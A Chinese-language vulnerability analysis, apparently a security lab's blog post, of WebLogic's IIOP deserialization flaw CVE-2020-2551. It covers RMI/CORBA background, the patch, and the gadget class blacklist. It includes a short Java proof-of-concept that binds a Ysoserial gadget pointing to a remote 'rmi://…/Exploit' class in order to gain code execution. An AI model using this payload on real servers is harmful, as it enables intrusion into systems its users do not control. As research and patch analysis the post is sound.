作者: Magic_Zero@奇安信观星实验室
0x00 前言
2020年1月15日, Oracle官方发布了CVE-2020-2551的漏洞通告,漏洞等级为高危,CVVS评分为9.8分,漏洞利用难度低。影响范围为10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0。
0x01 漏洞分析
从Oracle 官方的CPU公告中可以看出该漏洞存在于weblogic核心组件,影响的协议为IIOP。其实经过分析发现,该漏洞原理上类似于RMI反序列化漏洞(CVE-2017-3241),和之前的T3协议所引发的一系列反序列化漏洞也很相似,都是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,并没有进行安全检查所导致的。
为了更好的理解这个漏洞,有必要先介绍一下相关的概念:
RMI: RMI英文全称为Remote Method Invocation,字面的意思就是远程方法调用,其实本质上是RPC服务的JAVA实现,底层实现是JRMP协议,TCP/IP作为传输层。通过RMI可以方便调用远程对象就像在本地调用一样方便。使用的主要场景是分布式系统。
CORBA: Common Object Request Broker Architecture(公共对象请求代理体系结构)是由OMG(Object Management Group)组织制定的一种标准分布式对象结构。使用平台无关的语言IDL(interface definition language)描述连接到远程对象的接口,然后将其映射到制定的语言实现。
IIOP: CORBA对象之间交流的协议,传输层为TCP/IP。它提供了CORBA客户端和服务端之间通信的标准。
那么什么是RMI-IIOP呢,以往程序员如果想要开发分布式系统服务,必须在RMI和CORBA/IIOP之间做选择,但是现在有了RMI-IIOP,稍微修改代码即可实现RMI客户端使用IIOP协议操作服务端CORBA对象,这样就综合了RMI操作的便利性和IIOP的跨语言性的优势。
在weblogic中RMI-IIOP的实现模型如下:
Weblogic的文档把这个实现叫做RMI over IIOP。
理解了以上的概念,通过下边的例子(完整代码请参考文档)来帮助理解RMI-IIOP吧:
首先定义一个接口类HelloInterface,注意必须实现Remote接口,实现的方法必须抛出java.rmi.RemoteException的异常:
public interface HelloInterface extends java.rmi.Remote {
public void sayHello( String from ) throws java.rmi.RemoteException;
}
接着定义一个实现该接口的方法,然后定义一个服务端,并将该服务进行绑定,然后暴露在1050端口。接下来是客户端代码:
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import java.util.Hashtable;
public class HelloClient {
public static void main( String args[] ) {
Context ic;
Object objref;
HelloInterface hi;
try {
Hashtable env = new Hashtable();
env.put("java.naming.factory.initial", "com.sun.jndi.cosnaming.CNCtxFactory");
env.put("java.naming.provider.url", "iiop://127.0.0.1:1050");
ic = new InitialContext(env);
// STEP 1: Get the Object reference from the Name Service
// using JNDI call.
objref = ic.lookup("HelloService");
System.out.println("Client: Obtained a ref. to Hello server.");
// STEP 2: Narrow the object reference to the concrete type and
// invoke the method.
hi = (HelloInterface) PortableRemoteObject.narrow(
objref, HelloInterface.class);
hi.sayHello( " MARS " );
} catch( Exception e ) {
System.err.println( "Exception " + e + "Caught" );
e.printStackTrace( );
return;
}
}
}
可以看到客户端通过JNDI查找的方式获取到远程的Reference对象,然后调用执行该对象的方法:
这个调用的过程和普通的RMI方法调用很相似,因此很容易想到RMI的反序列化漏洞(CVE-2017-3241),通过bind方法中发送序列化对象到服务端,服务端在读取的时候进行反序列化操作,从而触发漏洞。
于是构造如下请求:
public static void main(String[] args) throws Exception {
String ip = "127.0.0.1";
String port = "7001";
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
Context context = new InitialContext(env);
// get Object to Deserialize
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit");
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), Remote.class);
context.bind("hello", remote);
}
这里使用Ysoserial内建的功能帮我们生成一个实现Remote接口的远程类,发包之后收到请求的流量:
请求包中序列化对象(这里序列化的使用的并不是ObjectOutputStream类,因此没有ACED 0005魔术头):
跟进调试发现客户端的bind方法中序列化对象操作如下:
至此,整个漏洞的原理其实已经搞清楚:
1. 通过设置java.naming.provider.url的值为iiop://127.0.0.1:7001获取到对应的InitialContext对象,然后再bind操作的时候会将被绑定的对象进行序列化并发送到IIOP服务端。
2. Weblogic服务端在获取到请求的字节流时候进行反序列化操作触发漏洞。
如何验证呢?看补丁的时候发现补丁中和IIOP相关的只修复了weblogic.corba.utils. CorbaUtils类:
然后全局搜索相关的包发现存在IIOPInputStream,根据名称很容易知道该类是IIOP类输入流,点进去搜索readObject然后下断点进行调试,命中断点之后查看调用栈信息如下:
从调用的堆栈中可以很清晰看到进入到IIOPInputStream的处理是从read_any中开始的,也印证了序列化中write_any的操作。然后将断点设在该处动态调试可以发现:
在ObjectStreamClass的readFields方法中对序列化数据进行处理。至此整个流程已完全走通。
0x02 漏洞修复
首先来看一下官方的修复方案,打上补丁之后重新发送数据包,可以在控制台观察到拦截日志:
然后在CorbaUtils类的verifyClassPermitted方法上下断点,重新发送数据包观察到命中:
单步跟进可以发现并没有拦截JtaTransactionManager,随后继续跟进发现获取到JtaTransactionManager类的父类AbstractPlatformTransactionManager类的时候被拦截,黑名单中拦截的类包括如下:
maxdepth=100;!org.codehaus.groovy.runtime.ConvertedClosure;!org.codehaus.groovy.runtime.ConversionHandler;!org.codehaus.groovy.runtime.MethodClosure;!org.springframework.transaction.support.AbstractPlatformTransactionManager;!java.rmi.server.UnicastRemoteObject;!java.rmi.server.RemoteObjectInvocationHandler;!com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager;!java.rmi.server.RemoteObject;!org.apache.commons.collections.functors.*;!com.sun.org.apache.xalan.internal.xsltc.trax.*;!javassist.*;!java.rmi.activation.*;!sun.rmi.server.*;!org.jboss.interceptor.builder.*;!org.jboss.interceptor.reader.*;!org.jboss.interceptor.proxy.*;!org.jboss.interceptor.spi.metadata.*;!org.jboss.interceptor.spi.model.*;!com.bea.core.repackaged.springframework.aop.aspectj.*;!com.bea.core.repackaged.springframework.aop.aspectj.annotation.*;!com.bea.core.repackaged.springframework.aop.aspectj.autoproxy.*;!com.bea.core.repackaged.springframework.beans.factory.support.*;!org.python.core.*
并且这里设置了递归检查的深度为100,可以看到黑名单中包含该类的父类。
发表评论
您还未登录,请先登录。
登录